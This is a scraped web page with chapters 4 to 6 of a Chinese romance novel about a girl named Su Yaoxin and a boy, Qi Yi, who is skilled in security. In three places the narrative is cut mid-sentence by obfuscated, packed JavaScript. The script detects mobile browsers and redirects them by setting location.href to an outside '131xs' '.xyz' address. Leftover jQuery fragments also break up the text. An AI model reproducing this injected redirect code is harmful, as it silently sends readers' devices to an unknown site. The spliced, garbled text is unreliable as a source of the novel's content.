l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653076|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏杳心夹了一粒桂花,放在鼻尖,满鼻清香。
不到一分钟,男同学们就回来了,拎着还没开瓶的红酒。
原来一中的学生已经聚餐结束离开了,他们晚了一步。
宋庆惋惜:“真是可惜,也不知是哪班的,要是能交个朋友就好了,至少让我们道个谢。”
苏杳心捡了一碟小桂花,泡水喝,听见这话,她点开微信。
[你们已经走了?]
祁弈:[嗯,你们呢?待会儿还有活动吗?]
苏杳心:[没有,吃完饭就回家。]
苏杳心:[对了,谢谢你们班送的菜,我们同学都很喜欢,很谢谢你们。]
祁弈:[不客气。]
苏杳心:[也祝你们,一化北溟鱼,前程似锦。]
祁弈:[谢谢。]
她替大家谢过,同学们又吃了半个多小时,聊了一会儿才散场。
临走时,苏杳心收到段北的消息,他和段南在和亲戚一起吃饭,知道苏杳心爸妈出去旅游,要给她打包两道菜带回去。
苏杳心说在外面和同学们吃过了,段北顺便问了句在哪儿吃的,巧的是,他们也在附近。
从酒店出来,她没和同学们一起去坐地铁,段北叫了车来接她。
苏杳心在酒店侧面的停车场等,没过会儿车就来了,苏杳心上了车。
段南在副驾驶,她和段北在后面。
“对了,你今天分估的怎么样?”
苏杳心:“挺好,你呢?”
段北挠挠耳朵,“我就那样吧,也没太仔细估,段南考得倒是挺好的。”
苏杳心点头,“我知道,我和段南下午发过微信了。”
段北一愣:“啥时候?你俩背着我偷偷发微信了?”
段南无语:“谁背着你了。”
段北:“那你俩怎么不在三人群里发?”
段南在和一个学长聊天,懒得和他这么幼稚的对话:“嫌你烦,你满意了吧。”
段北翻了个白眼,“切,我还嫌你烦呢。”
苏杳心耳边略过他们兄弟俩日常的拌嘴,车窗降下一点,看向外面的景色吹吹风。
酒店附近的道路很美,淡黄色的路灯,树影婆娑,街上的行人很多,结伴地散步。
车开到酒店正门的那条街,苏杳心一眼看见了远处的身影。
祁弈独自站在街边,夏天夜晚不冷,甚至有点热,但他却套了一件黑色外套。
周围的路人成群结伴,即使路过的人目光都纷纷在看他,聚焦在他身上,他形单影只的,站在那也显得有点孤单。
苏杳心是这样感觉的,所以在车靠近时,她让司机停在了他身前。
苏杳心把车窗全降下,叫了他。
“祁弈?”
祁弈目光从手机里抬起,对上她的目光,神色有一瞬细微的变化,随后略感惊讶地挑了下眉。
“你们吃完了?”
苏杳心点头,笑问:“你怎么还没走?”
祁弈晃了晃手机,“打不到车。”
离他们聚餐结束有半个多小时了,还没打到车,看来是今天来酒店吃饭的人太多。
苏杳心意外时,没注意祁弈不动声色地看了一眼车里的其他人,她笑了笑:“那你别等了,你家在哪呀,我们送你。”
“云江公寓。”
祁弈怕麻烦她的语气:“方便吗?可能不顺路。”
车里段北探头看街边,问苏杳心:“这人是谁?你新认识的朋友?”
段北打量着这个陌生又帅气男生:“云江公寓太远了,确实不顺路。”
祁弈一直在看苏杳心,目光没动地点了点头。
“那我再等一会儿吧。”
他笑了下,没关系的语气:“前面排了二十单,估计再等半小时,也就到我了。”
4. 入梦
夜风吹过,一辆计程车停在前面,一对儿约到车的情侣上了车。
既然碰见了,苏杳心不可能不管,她推开车门。
“要等太久了,还是送你吧。”
似乎因她的热情,祁弈才点了头,搭了他们的车。
后座坐着两个大男生和一个女生,稍微有点挤。
段北瞅了他们俩人一眼。
苏杳心跟司机说去云江公寓,然后给祁弈介绍。
“这是段南和段北,我的两个发小。”
“这是祁弈。”
段南转身回头,跟祁弈友好地摆手,“你好,我是段南。”
祁弈点头,“你好。”
男生的气质和长相太过优越,纵使站在男性角度,也不得不惊艳一瞬他的外貌,但段南此时更好奇:“你和苏杳心是怎么认识的?之前我们见过吗,我瞧着你有点眼熟呢。”
祁弈:“我和苏杳心昨天刚认识,我们之前应该没见过。”
那股熟悉感一晃而过,段南笑了笑,“哦,那可能是在哪见过长得像你的人吧。”
另一边,段北看着他哥对人家那副友好的模样,在考虑要不要看在苏杳心的面子,也搭理一下这个叫祁弈的。
然而祁弈跟段南说过话,目光挪过来来,却没看他,直接和苏杳心聊起了天。
“你今天还去奶奶家?”
苏杳心:“不去了,我今天回家。”
段北瞥祁弈一眼,不是说昨天刚认识的?说话跟很熟似的。
苏杳心手里的手机震动。
她低头看。
段北:[你别挨他那么近,他是男生。]
苏杳心:?
段北:[你往我这边坐。]
苏杳心:[你不是男生?]
段北:[你现在认为我是男的了?以前说我是发小,从小一起长大,说把我当姐妹的人是谁?]
苏杳心忘记什么时候说过这话。
她回:[那你是想,让我继续不把你当男生看,可以挨着你?]
段北沉默。
随后发来消息:[算了!]
段北:[我是个男生!!!]
段北:[你别挨着我了!你就挨着他吧!]
这一堆叹号,能看出这人怒气冲冲的,苏杳心没明白他在气什么。
她回了句:[好。]
段北:……
发过这条消息,苏杳心要想退出微信,结果手机卡住了,下一秒忽地黑屏。
“咦?这是怎么了?”她疑惑地摁了摁手机。
身边传来祁弈好听的声音,“怎么了?”
苏杳心看他,点了点手机,“手机忽然黑屏了。”
祁弈看了眼,“黑屏之前在用手机做什么?”
苏杳心:“微信聊天。”
祁弈:“可能是和你聊天的那个人,你的手机不喜欢,所以它黑屏了。”
段北:“……!”
随后祁弈笑了下,牵起的嘴角透着几分开朗:“我开玩笑的。”
他伸出手,“我帮你看看?”
苏杳心把手机递给他,祁弈长摁开机键,黑色的屏幕隔几秒亮起。
“还能开机,应该问题不大。”
开机后,祁弈握着女孩子白色的手机,手指顿了下,抬眼问:“我帮你检查一下黑屏的原因?”
话音落,是段北先开口,皱眉问:“你会修手机?”
祁弈:“给同学修过几个,还挣了钱。”
段北:“……”
苏杳心这手机是高一时买的,她恋旧,陪伴她高中时期的手机,即使以后会换,她也不希望它坏掉。
她点头:“那麻烦你了。”
得到她允许,祁弈先在手机里找到一个清理手机的app,修长的手指在屏上滑动:“这个清理软件一般,如果是手机有病毒,不太容易找出来。”
“我帮你先下载一个好用的。”
“好。”
车外路灯晃过少年的脸庞,没几分钟,祁弈在应用商城里下载了一个清理app,用软件扫描一遍后,发现了一个攻击性不大,但极其顽固的病毒。
祁弈抬眸:“最近有从不安全的网页下载过什么吗?比如电影之类。”
苏杳心睫毛一眨,想起来:“哦,有,我没有视频会员,在一个小网站下过一部电影。”
祁弈:“下到手机哪个文件里了,还记得吗?”
他语气偏低,所以说话时显得温和。
苏杳心有点记不清,自然而然地把脑袋凑过去,在文件夹里找。
女孩子离的近,带来一股干净柔软的清甜味。
祁弈睫毛颤了下。
苏杳心没意识到自己和祁弈的距离,不过一旁的段北暗暗抿紧了唇。
清理手机就清理手机,至于让女孩子挨那么近?尤其还是在车里,光线这么暗。
段北瞅着那几乎快碰在一起的两颗脑袋,昏黄的灯光不时映过,两个人的发质蓬松柔软看起来极好。
靠!
找到文件位置,苏杳心点开,语气轻快:“是这个。”
她坐好,看向祁弈:“需要删掉它吗?”
祁弈嗯了声,“它携带病毒。”
把病毒源文件删掉,祁弈又给她手机整体检测了一遍,边说:“这病毒不会窃取安全信息,但会像繁衍一样占用内存,而且容易耗电,清理后手机会流畅很多。”
难怪这两天手机比以前耗电了,她眉眼弯弯:“谢谢你。”
祁弈抬眼,目光里映着她的脸,也扯了下唇角。
把手机还给她之前,祁弈看见她手机里有个视频软件,他点开,搜索刚刚被删掉的电影。
苏杳心轻声提醒他:“下不了的,我没有会员。”
搜到有那部电影,祁弈没下载,而是点开登录,输入一串号码,“我有会员,你可以用我的。”
苏杳心犹豫:“这不好吧?”
“没事,我的号可以两个人共用,”祁弈看她,眉眼干净肆意,笑了下:“我买了一年的会员,不用担心过期。”
同样办了某视频会员的段北刚要开口,听见人家办了一年的,话又噎了回去。
靠!
苏杳心看着少年好看锐利的眼,那双眸子让人觉得很真诚,她也便没客气。
“那我就蹭你的会员啦,以后你想用别的会员,跟我说一声,我来买,然后我们共用。”
祁弈唇角散漫而缓慢地勾起,“好。”
苏杳心刚拿回手机,忽然车子一个急刹车,她整个身子不受控地往前一冲。
她还没反应过来,只心一惊!却在下一刻被一股力量拦了回来。
是一条有力的手臂,像条件反射一样,护在她身前。
稳稳地拦住了她。
苏杳心喘了口气,看向伸出手臂的少年,他一条胳膊挡在她身前,另一条撑在前面的靠椅,支撑身体,此时一双漆黑的眼正在看她。
祁弈低声问:“有没有事?”
苏杳心摇摇头,“我没事,你呢?”
刚才他护她的一下,速度太快了,力气也大,苏杳心担心他自己可能没来得及防护,她满眼关心:“你胳膊没事吗?”
祁弈看见她的神色,顿了下,动了动撑椅背的胳膊,笑道:“没事。”
她轻轻碰了碰她这边的,“那这条呢?”
祁弈:“这条也没事。”
苏杳心放心地点了点头。
前面司机抱歉地跟他们说,刚才有条小狗没牵绳,忽然冲到了斑马线上,而后脑袋从车窗探出去,提醒路边的主人注意看着点儿狗!
刚才苏杳心除了吓一跳,耳边还听见有人啊地叫了声。
她转头看段北。
“你撞到脸了?”
段北没反应过来,整张脸埋在了椅背上,他皱眉揉了揉额头:“对啊,可疼了。”
知道段北从小怕疼,车里光线暗,苏杳心拉开他揉额头的手,仔细看了眼,“是红了,但看着不会肿,应该没事。”
苏杳心:“很疼吗?等回家拿个鸡蛋热敷一下,应该就能好。”
段北一个男的,也不好意思再喊疼,要求着:“行,那回去你给我煮个鸡蛋。”
苏杳心无奈笑了下,答应了。
她眉眼弯弯的,很温软。
看向另一边时,发现祁弈在看她,漆黑的眼平静又若有所思,神色不似之前散漫。
和她对视一秒,他很轻地笑了下,随后收回了眼。
前面段南想起之前祁弈给苏杳心修手机时,说了一句关于网络安全的术语,他好奇问:“祁弈,你好像比较懂漏扫?”
“有点研究。”
段南对这些很感兴趣,他跟祁弈聊了一些,“我有个学长就是研究白帽黑客这方面,你也是高中生吗,你听说过一中有几个学生在假期研发了一款安全软件的事吗?”
祁弈:“嗯,我也参与了那款软件的研发。”
苏杳心不懂,但觉得很厉害,她目光惊讶地看向男生的侧脸。
前面的段南比她还惊讶,回头:“你也参与了?!你是一中的学生?”
祁弈点头:“嗯。”
段南一时惊喜又感叹:“没想到我竟然遇见了研发中的一员,兄弟,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653077|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们太厉害了。”
祁弈低调地扯了扯唇。
段南打量着他,恍然笑道:“难怪我觉得你有点眼熟,估计是在之前一些网络安全社团公共课上见过你。”
祁弈稍稍挑了下眉,“可能吧,我去过一次。”
段南回过头,继续和他聊一些关于白帽黑客方面的事,几乎聊了一路。
他们的聊天过于专业,苏杳心虽然听不懂,但觉得很厉害,还有,她的手机用起来真的比之前流畅很多。
车开过一座湖岸的桥,驶入芜城绿化极好的城南区。
车子到了地方,停在云江公寓的门外。
祁弈下车前,跟苏杳心道别,“谢谢你送我回来,我走了。”
苏杳心摆手:“再见啦。”
祁弈目光在她脸上多留一秒,下了车。
司机从前面掉头,看着这栋高档公寓羡慕道:“唉,也不知道我开一辈子车,能不能买下这里的一个单间啊。”
段北瞥了眼外面公寓阔气的大门,“这边很贵吗?”
司机说了房价。
段北愣了愣,“……哦。”
车往前开时,苏杳心转头,看了眼窗外男生在夜幕下,高挑又清瘦的身影。
等到家时,已经九点钟了。
下了车,他们往小区里走,段南想起有件事忘了问祁弈,跟苏杳心要了祁弈的微信。
段北瞥他哥一眼,阴阳怪气:“聊了一路还不够,还加微信,你跟那家伙挺投缘?”
段南点开收到的名片,低着头说:“不是投缘,是我运气好,遇见这种人物。”
段北切了声,夹带着个人情绪地不爽:“他真那么厉害?一个高中生学习都忙不过来,还有时间研究那些什么的软件?怕不是吹牛的吧!”
听见弟弟这话,段南脸上浮起几分严肃,他抬头:“这世上厉害的人太多,不能我们没遇见过,就质疑别人的能力。”
段南认真:“更不能随口污蔑人。”
段北一愣,变了脸色,撇了撇嘴:“我没要污蔑人,就是随口开个玩笑……”
话音落。
他又说:“哎呀好啦好啦,我以后不说了,这么严肃干嘛……”
这对兄弟难得有点哥哥弟弟的样子,苏杳心抱着包边走,边好笑地看着他们,脑海里不经意浮现一张清俊、好看至极的脸。
他居然是这么厉害的一个人。
是一中的学生,学习成绩应该优秀,又是电脑天才、长得又帅,难怪有女生为他哭成那样。
要是喜欢上了,确实很难让人放下吧。
苏杳心自己在心里想着,一路回了家,段北还没忘让她给煮鸡蛋,跟到她家里。
苏杳心答应就会做到,给他煮了两个鸡蛋,其中一个还裂开了,被段北当夜宵拿走。
老爸老妈还在外地旅游,她跟蔡卉报备一声到家了。
刚发送,收到另一条消息。
祁弈:[到家了吗?]
苏杳心煮鸡蛋时,热了杯牛奶,边喝边单手回:[嗯,到家了。]
祁弈:[鸡蛋给他煮了?]
苏杳心被牛奶烫了下,看见这句,觉得好笑:[你怎么也惦记煮鸡蛋这事?]
祁弈:[看他撞的挺惨,关心一下。]
苏杳心笑了笑。
告诉他段北滚了热鸡蛋,红印消掉了,不用担心。
这次祁弈倒是没立刻回。
这时段北在三人群里发了露营的地点,市郊区的一个绿意盎然的小山,可在半山腰一片平坦的草地扎帐篷。
段南的意思是,大家第一次露营,万一扎帐篷不顺利附近还有旅店可以住。
苏杳心觉得这样挺稳妥的,和他们一起讨论露营要带的食物。
手机上端跳出来一条。
祁弈:[在干嘛呢?]
苏杳心眨眼,点开他头像:[在和段南段北他们讨论露营的事。]
祁弈:[你们要去露营?]
苏杳心:[嗯,去小悠山。]
祁弈:[听说那边很漂亮,我和朋友之前也约好下周要去那边露营。]
苏杳心:[好巧呀。]
她弯唇:[那等我们这周玩过回来,正好可以给你们分享一点经验。]
祁弈发来一条语音,苏杳心点开。
少年声音低沉好听,带着一点小遗憾:“谢谢你,不过我朋友下周突然有事要忙。”
他说:“我可能去不上了。”
苏杳心唇角笑缓缓收起。
她指尖落在输入框,下意识地问了句。
[那你要不要跟我们一起去?]
5. 入梦
苏杳心下意识的好心邀请。
下一刻,又觉得有点欠考虑了。
在她的习惯里,野外露营这种旅游,要和关系亲近的朋友一起才舒服。
不知道祁弈愿不愿意和她们去露营。
这时老爸打来一通电话,她思绪一停,先接听。
苏怀峰的声音似乎有点疲累,嘱咐她晚上睡觉记得锁门,她担心问:“爸爸,你是不是颈椎又严重了?”
苏怀峰笑了声:“没有,这两天好多了,就是今天爬山累了,别担心。”
苏杳心轻轻嗯了声,又问:“妈妈呢,已经睡了吗?”
“还没呢。”
苏杳心:“我跟妈妈说两句话。”
苏怀峰把电话给了蔡卉。
“喂?宝贝啊。”
苏杳心听见老妈声音明显比昨晚更哑了,她捏紧手机,语气却装轻松:“妈妈,你们今天玩的开心吗?”
“开心呀,这边山清水秀的,寺庙也特别热闹,你爸还拍到了松鼠,”蔡卉哑着嗓子笑:“就是这景区的小吃太辣,都给我嗓子吃上火了。”
蔡卉咳了两声,又说:“对了杳杳,我正要和你说呢,檀市景点多,我和你爸准备租辆车自驾游,你和段南他们不是要去露营吗,回去你也不在家,我们俩想多玩两天再回去。”
苏杳心:“行,好啊。”
她抿抿唇,把手里牛奶放下,准备人生中第一次表演,声音乖巧含蓄:“那个……妈妈。”
蔡卉:“怎么了宝贝。”
苏杳心欲语还休的:“就是,我前天晚上去奶奶家,拼车时遇见了一个男生……他长得特别好看,我要了他的微信。”
电话里安静了几秒。
“你是说你看上人家了?”
苏杳心手指轻轻卷了下裙边,“昂。”
电话那边又是一阵安静,随后是苏怀峰靠近的声音,“怎么了?杳杳说什么了?”
蔡卉告诉他:“你女儿说,她看上了一个男孩子!”
电话里蔡女士声音直接拔高了一个音调,哑火的嗓子都清亮了几分。
再度沉默后,电话似乎被开了免提,苏杳心听见老爸语重心长的声音:“杳杳啊,虽然现在不算早恋,但你是不是还小……”
“也不小了,都毕业了,”蔡卉忽然语气骄傲:“就咱家杳杳的模样,到大学了一定有一堆男孩子追,谈恋爱是早晚的事!”
蔡卉声音变严肃:“老苏,你可不能像楼下老刘家那样,不准孩子大学谈恋爱,然后孩子一毕业就催结婚,让孩子上哪找合适的对象去啊!”
苏怀峰啧了声:“哎呀,我不是那个意思,我哪儿能那样对咱们宝贝女儿,这不是杳杳第一次谈恋爱,我就是担心嘛!”
苏杳心听着电话里老爸忽然间中气十足的声音,老妈扯着嗓子喋喋不休的精神劲儿。
她嘴角缓缓牵起。
适时地插了一句嘴:“爸妈,我和那个男生刚认识,还没谈呢。”
听见这话,蔡卉和苏怀峰开始一人一嘴地询问那个男孩的情况。
“那男孩子多大呀?念书还是做什么的?”
“高考生,十八岁。”
蔡卉:“哦,年纪倒是合适,他是哪个学校的呀?”
“一中。”
“一中的呀,”蔡卉露出些笑意,然后小声跟苏怀峰嘀咕:“是一中的。”
苏怀峰小声:“哎呀,听见了。”
之后板着语气问:“那男孩多高?”
苏杳心:“比我哥还要高一点,大概一米八七、八八那样子。”
蔡卉:“那性格呢?”
苏杳心如实说:“性格很好,有礼貌,有教养。”
“哦,那听着这男孩子个人条件还行,”苏怀峰琢磨着又问:“家里父母是做什么的?”
“老爸,我和他才刚认识两天,”苏杳心自己心虚,也不忘给他们打预防针:“以后能不能追到,还不一定呢。”
苏怀峰也不再多问了,嘱咐着她:“杳杳,爸爸跟你说,你喜欢人家可以,但咱们毕竟是女孩子,相处的时候不要太主动。”
她乖乖答应:“我知道了。”
蔡卉见时间晚了,把手机免提关掉,温声又认真地告诉她:“杳杳,你第一次有喜欢的男孩子,可以先当朋友熟悉熟悉,合适了就带来给爸妈看看,不适合也不是什么大事儿。”
“大学里还有一堆好男孩子呢,知道不?”
“知道啦。”苏杳心轻笑答应着,“对了,我还要约人家一起去露营呢,就不和你们聊了,爸妈你们早点休息。”
“好,你也早点休息,”蔡卉挂电话前,又忙说:“对了,去露营记得拍个那男孩子的照片,让我和你爸先看看。”
电话那边苏怀峰也应和:“对对,让杳杳发个照片来,我好看看把咱家白菜拱了的猪长什么样。”
苏杳心:“……”
您是不是说反了。
她乖巧答应:“好。”
苏杳心心情轻松地挂了电话,虽然是不得已而撒谎,但老爸老妈听说后,光是声音也明显感觉到消散了不少困在高考里的焦虑。
真好真好。
她笑眯眯地又看手机。
发现这几分钟里,男生已经发来好几条消息。
祁弈:[和你一起么,好。]
祁弈:[车我来租,帐篷买了吗,没买的话一共几个人,我顺便都买了。]
祁弈:[在忙吗?]
祁弈:[是想到什么不方便的?]
消息是隔一分钟一发的。
[我没有什么坏习惯,而且力气够,也会搭帐篷。]
[带我去,你们还能轻松点儿。]
消息是隔一分钟一发的。
苏杳心一条条看过,忙回:[抱歉,我刚刚接了个电话。]
她弯唇又发:[嗯嗯,带你去。]
可能在等她的消息,祁弈很快回复:[好。]
苏杳心:[不过租车不用麻烦你,你一起来玩就好,只需要你带个自己住的帐篷。]
祁弈发来语音,声音散漫但态度坚定:“帐篷没问题,车还是我来租吧,总不能太占你们便宜了。”
窗外虫鸣悠悠,被他清冽的声音都衬得好听几分。
见他坚持,苏杳心犹豫一瞬:[那好吧,那麻烦你了。]
祁弈回了一个ok的表情包。
是之前她发给他的,ok旁边有个红色小爱心,她之前习惯和女孩子发这种,第一次和男生发,感觉怪不一样的……
她摸了摸耳朵,退出聊天。
然后分别和秦晓棠,段南说了这件事。
段南表示对祁弈一起去露营很欢迎,秦晓棠一向性子开朗,有陌生人也能玩的很好,见他们没意见,苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653078|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杳心建了个小悠山露营群,把大家拉进来。
群里段北懵愣:[就咱们几个,咋还建个群?]
苏杳心:[祁弈也一起去。]
她发完,找到段北私聊:[我正要和你说一声呢。]
段北:[你带陌生人一起去,怎么不提前商量一下!]
苏杳心:[我跟棠棠和段南都说过了,他们都同意。]
段北:[所以就不用问问我了??]
苏杳心:[嗯,少数服从多数。]
段北:[……]
段北:[啥也不说了,露营那天我坐车底。]
苏杳心:[哦,车是祁弈租,那我告诉他一声在车底给你加个座。]
段北:[苏!杳!心!]
苏杳心拿过牛奶,继续喝:[好啦,我开玩笑的。]
她感觉段北好像对祁弈似乎不太喜欢,忍不住补充:[不过,露营时你对祁弈态度好一点,他对我很有用,你别欺负他。]
段北:[对你有用?啥意思?]
段北这人心里藏不住事,而且容易大嘴巴,苏杳心暂时还不想被祁弈发现,她接近他的目的是在利用他,于是只应付了一句。
[以后告诉你,总之,你别欺负人家就行了。]
段北没再问别的,只不满:[他看起来像容易被欺负的人?]
苏杳心没回他,因为秦晓棠在群里欢迎过祁弈后,给她发来一堆私聊轰炸。
问她这个女唐僧,是怎么突然开窍了,竟然约了男生去露营?
面对嘴比较严实的闺蜜,她放心地跟秦晓棠把前因后果说清楚。
秦晓棠听完,惊讶又稀奇,先是关心苏爸苏妈:“所以叔叔阿姨听说后,心情好很多啦?”
苏杳心嗯了声,“还让我拍照给他们看看,能在这段时间分散爸妈的注意力,就够了。”
“那就好,”秦晓棠笑眯眯地:“那……那男生真的那么帅?”
苏杳心喝完牛奶,扯过一个抱枕到怀里, “我觉得,是正常人都会觉得很好看的程度。”
秦晓棠听她这么说,半信半疑,毕竟之前也没见苏杳心说过哪个男生好看。
—
后天一早,天朗气清。
秦晓棠早早到了苏杳心家,她们准备好,带上了露营三天两晚的行李和帐篷。
小区门外香樟树绿荫蔽斑驳,秦晓棠昨天烫了韩式小短发,显得脸小了点,效果不错,就是难打理。
她正照着随身带的小镜子,不远处一辆白色七人座商务车开过来,停在她们站的街边。
秦晓棠抬头,“哇,这车也太可以了吧!”
苏杳心也看着这辆车,目光动了动,随后车门被拉开。
祁弈从车里出来。
看见他的一幕,苏杳心觉得眼熟。
他一身黑色衣服,外套和长裤都和第一次遇见的那一晚很像,肩膀宽阔,一双腿笔直修长,身形线条锋利匀称。
漂亮得跟衣服架子似的。
外套敞开,里面的白T恤干净清爽,和那晚又有细微的不同。
戴了一顶鸭舌帽,抬起头的瞬间,露出一双深长漆黑的眼,瞳仁明亮如星,和苏杳心的视线相撞。
祁弈走到她身前,笑了一下,“早。”
周围的阳光似乎又亮了几分。
苏杳心也不由得微微一笑:“早啊。”
6. 入梦
她笑的明媚,像初夏一朵盈盈半开的花苞。
“等很久了吗?”祁弈声音有点心不在焉。
“没有,我们是提前出来的,刚出小区,你就来了。”
苏杳心说着给他介绍。
“这是秦晓棠,你们在群里打过招呼的。”
祁弈看了一眼,跟女孩子点下头。
秦晓棠这才回过神,傻乎乎地摆摆手。
和段南也打了个招呼,祁弈目光又落向苏杳心,“现在出发吗,我帮你放行李。”
“嗯好,谢谢你。”
祁弈弯腰去拿她的行李箱,她的箱子装的东西多,挺沉,他单手拎着却毫不费力,从容自若,曲起的指骨有力又漂亮。
顺手把帐篷袋也拎上。
等他离开,苏杳心忽地感到自己的胳膊被狠狠捏住。
“姐妹,我再也不质疑你的眼光了!”秦晓棠小声但激动地贴在她耳边:“跟这哥比起来,体育部的部草真的只是还行的程度啊!”
那边,祁弈把行李箱放在车后备箱,动作里带着轻拿轻放的小心。
男生背影也惹眼,秦晓棠细细地从头到脚打量高大的背影,感慨:“真是无心插柳柳成荫,你对帅哥不感兴趣,但命好,这种级别的男生却被你遇见了。”
苏杳心也觉得,笑了笑。
“我运气是很好。”
后备箱空间很大,祁弈把粉色箱子轻轻往里面推一推,段北这时过来放东西,与祁弈碰面,依然不太想搭理他。
不过既然一起露营,还是得提醒一声。
段北没他高,稍扬头问:“你东西都带全了?别忘了什么,到时候还要我们借你。”
祁弈眼未抬,冷淡慵懒的语气:“我不会给苏杳心添麻烦。”
话音落,他又开口:“你也不要。”
段北转身哼了一声:“我当然不会了。”
答应过后,随即反应过来,一个和苏杳心只认识几天的人,凭什么来叮嘱他!
正郁闷呢,苏杳心忽然叫了他一声,“段北,你妈妈来电话说你手机落在家里了。”
段北忙摸口袋,他竟然把手机忘了。
秦晓棠嫌弃又惊奇:“你也真行,我高考完和手机一分钟都离不开,你竟然还能落家里!”
祁弈直起身,转身时看了他一眼,往苏杳心那边走去。
段北:“……”
段南拎着食物的箱子过来,“快回去拿吧,别耽误时间。”
几人剩下的行李都装上车。
祁弈站在苏杳心身边。
少年的存在感很强,即使没说话,她的注意力也放在他身上,让她想起一件重要的事。
“反正也要等,不如我们先一起拍个照吧。”苏杳心拿出手机。
听见这话的秦晓棠瞬间明白,主动地举手,“我来,我来帮你们合照!”
苏杳心的目的不是合照,是要把祁弈拍好。
她笑笑:“我先给你们拍。”
秦晓棠接收到她的意思,点点头,笑嘻嘻地站去了段南身边。
苏杳心拿手机看镜头,阳光树影,夏日斑驳,视线中的那张脸、那个人在镜头中多了几分画报感,五官清俊立体,气质优越。
不需用任何滤镜,原相机随手一拍,就很满意。
秦晓棠见拍好,跑过来接她手机,用口型对她说:挨着他。
苏杳心很轻地点点头,抬眸往那边走时,发现两个男生中间已经留出一个人的空位。
苏杳心脚步稍顿,下意识看了眼祁弈,他也在看她,神色漫然肆意。
也不知道是段南挪的……还是他。
等她站过去拍照,秦晓棠也超满意地拍好几张,对她比个ok的手势。
苏杳心小碎步跑过去,假装过去看看效果。
祁弈看向女孩子轻快飘起的发丝,这时身后,司机叫了他一声。
他应声过去。
苏杳心和秦晓棠低头挨在一起,照片一张张滑过,没一张不好看的。
夏天清早的气温渐渐变热。
段北一直没回来,秦晓棠早上忘记涂防晒,要不是看帅哥心情好,她可没耐心等。
最后实在等不住,“就取个手机怎么这么慢呀,我去找他!”
苏杳心站在树荫下,默默把照片又看了一遍,和她合照的几张男生有在笑,她挑一张准备给老妈发过去。
点照片时,手指不经意触到放大,一张过于漂亮的脸占满了她的手机屏幕。
倏然一道声音,从身后头顶的方向传来。
“在看我?”
祁弈不知何时站在她身后,微微弯着腰,从苏杳心的角度看,一点阳光落在他鼻尖,鼻梁英挺,睫毛长而直,下颌的线条清瘦流畅。
他目光落在手机上一眼,又对上苏杳心刹然回头的目光。
被误会发现看他的照片,苏杳心有点不好意思,但还好聪明。
她解释:“我在给你们每个人看看,拍得好不好看。”
祁弈点了点头,“那我被拍的好不好?不好的话,需要我重拍吗。”
他说:“别影响了大家的合照。”
苏杳心忙顺着话摇摇头,“怎么会,你是我见过最上相的人。”
“是么,”祁弈低眸看了眼,似乎很好奇:“哪里上相了?”
苏杳心思路被他带着走,描绘她眼中的样子:“脸型、五官深邃、眼睛深长又很亮,身高也……”
她说到这里,在夸奖少年的外貌中,见他眉眼间散漫的笑意,才意识到……
祁弈轻轻挑眉:“怎么不说了?”
苏杳心抿了抿唇,一时被他注视的眼神弄的招架不住,轻轻低头,“你是故意的。”
一声轻笑传来,祁弈肆意的眉眼低了低,“怕你等人无聊,所以想多跟你说说话。”
闻言,苏杳心也觉得让他等久了,抱歉道:“对不起啊,棠棠去叫段北了,他们应该很快会回来。”
“不用和我道歉,”祁弈:“我时间多,很闲,司机师傅今天也没别的工作,你不用在意这些。”
话音落,他抬抬下巴,“照片发给我吗?”
苏杳心一笑,“好。”
一分钟后段北回来,秦晓棠叹气又嫌弃地抱怨:“段北就是个笨蛋!回家才想起充电宝也没带,还是我帮忙找的,哎。”
秦晓棠可惜地上下扫了一眼段北,摇摇头,“你说你,整个人也就脸能看,人要是再靠谱点,说不定能吸引小姑娘呢。”
段北长得不错,算是个班草,闻言不服气地说:“现在也吸引好吗,高考之前,我还收到情书了呢。”
“是两个月前收到的那封?哈哈哈,”秦晓棠好笑:“一年就收到一封,你还挺自信。”
段北:“……”
秦晓棠走到车前,拉着苏杳心一起上了车。
去市郊的小悠山,大概三个小时的路程。
苏杳心坐在第二排,座椅舒适,车窗降了一半,夏天的风舒服地吹进来。
她一上车,就给老妈发了照片。
蔡女士很快回消息:[你爸要看看这男孩的头发。]
苏杳心:[?]
蔡卉:[苏先生说要看看这男生的头发才行呢,要是发量少,发质不好,他可看不上。]
“……”
苏杳心发现老爸好像完全没搞清,是她“看上”祁弈,怎么还拿看女儿男朋友的眼光挑剔人家呢。
蔡卉:[哈哈哈,你别理你爸,他就是吃醋了哈哈哈。]
蔡卉:[不过老妈支持你,人不错的话,这孩子的长相谈恋爱也不亏。]
苏杳心猜得到,这两天老爸老妈应该放了不少心思在这上,她不能演的太过。
[嗯,慢慢来,谈不成的话,做朋友也好。]
车窗外温柔的风吹到她脸颊,苏杳心抬眼。
祁弈坐在前面的副驾驶,戴鸭舌帽的后脑勺周正,贴在后颈的发尾漆黑干净。
发量茂密。
老爸真是,自己有点秃,还挑剔别人。
忽然男生像后面似长了眼睛一样,转过头,看向她。
他似乎没什么事,只是回头看一看。
苏杳心却有种又被抓包的心颤。
她唇角漾起一个笑,随口问:“我们大概多久能到,中午吗?”
